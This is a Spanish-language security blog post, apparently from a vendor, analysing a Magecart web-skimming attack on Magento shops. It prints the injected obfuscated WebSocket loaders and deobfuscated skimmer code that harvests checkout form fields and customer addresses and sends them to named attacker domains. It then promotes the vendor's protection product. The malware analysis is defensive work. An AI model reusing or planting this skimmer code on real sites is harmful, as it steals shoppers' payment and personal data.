El 14 de octubre, publicamos un artículo sobre cómo se estaba produciendo otro ataque Magecart en Magento. En ese momento solo identificamos un script como responsable.
Hoy pudimos encontrar y analizar el ataque con mayor detalle.
El ataque decodificado
Este fue el código inyectado:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>
Al decodificar este script ofuscado, descubrimos que establece una conexión WebSocket con la siguiente URL: wss://gstatlc[.]org/jivo?source=.
A partir de ahí, sospechamos que el ataque tenía como objetivo el web skimming, es decir, el robo de datos de clientes como información de tarjetas de crédito.
Luego encontramos el siguiente script:
! function() {
function e(e) {
let t = "";
for (let n = 0; n < e.length; n += 2) {
let o = e.slice(n, n + 2),
c = parseInt(o, 16);
t += String.fromCharCode(c)
}
return t
}
if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
n = "x-magento-65dsf";
t.onmessage = function(t) {
! function(t) {
if (!document.querySelector("#" + n)) {
const o = document.createElement("script");
o.id = n, o.text = e(t), document.head.appendChild(o)
}
}(t.data)
}
}
}();
Esto conduce a código ofuscado, que nuestra plataforma cside desofusca automáticamente. Encontramos diversas funciones diseñadas para capturar datos.
// Function to decode the selectors
function decodeSelectors() {
let decoded = hexDecode(encodedSelectors);
let selectorArray = decoded.split('|');
return selectorArray;
}
// Function to check if specific elements are present on the page
const checkElementsPresence = () => {
let selectors = decodeSelectors();
return selectors.every(selectorEntry => {
let [selector, count] = selectorEntry.split(':');
let elements = document.querySelectorAll(selector);
return elements.length >= Number(count);
});
};
// Function to generate a unique identifier
const generateUUID = () => {
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
};
// Function to encode data as hex
function hexEncode(str) {
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
}
// Function to collect form data
const collectFormData = (context) => {
let data = {};
let counts = {};
let inputs = context.querySelectorAll('input, select, textarea');
for (let i = 0; i < inputs.length; ++i) {
let element = inputs[i];
let name = element.name || element.id;
let value = element.value;
if (value !== '' && name) {
if (!counts[name]) counts[name] = 0;
if (element.tagName !== 'SELECT') {
counts[name] === 0
? data[name] = value
: data[`${name}#${counts[name]}`] = value;
} else {
let selectedOption = element.options[element.selectedIndex].text;
counts[name] === 0
? data[name] = selectedOption
: data[`${name}#${counts[name]}`] = selectedOption;
}
counts[name]++;
}
}
data['url'] = window.location.hostname;
data['ua'] = window.navigator.userAgent;
data['ts'] = Date.now();
// Attempt to collect customer address data if available
if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
try {
let addresses = window.checkoutConfig.customerData.addresses;
data['address_data'] = addresses[Object.keys(addresses)[0]];
} catch (e) { /* Ignore errors */ }
}
return hexEncode(JSON.stringify(data));
};
// Interval to repeatedly check and send data
let intervalId = setInterval(() => {
if (checkElementsPresence()) {
let formData = collectFormData(document.body);
const uuid = generateUUID();
const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
const ws = new WebSocket(webSocketURL);
ws.addEventListener('open', function () {
ws.send(formData);
ws.close(1000, 'done');
clearInterval(intervalId);
});
}
}, 1000);
})();
En el código también aparecía otro dominio malicioso: wss://adsprove[.]online/ws.
Todas estas funciones confirman que el script está efectivamente dirigido a capturar distintos campos de entrada de visitantes desprevenidos. También demuestran que monitorizar y bloquear estos intentos desde el lado del cliente es fundamental para detectar y detener estos ataques.
Cómo proteger tu sitio
cside nació para detener este tipo de ataques. Cualquier script de terceros presente en tu sitio que haya sido comprometido puede ser detectado y bloqueado antes de que se ejecute en el navegador de tus visitantes. Protegiéndoles a ellos, y a ti, de actores maliciosos.
Al usar nuestro plan gratuito, estarás protegido frente a este y otros ataques similares.









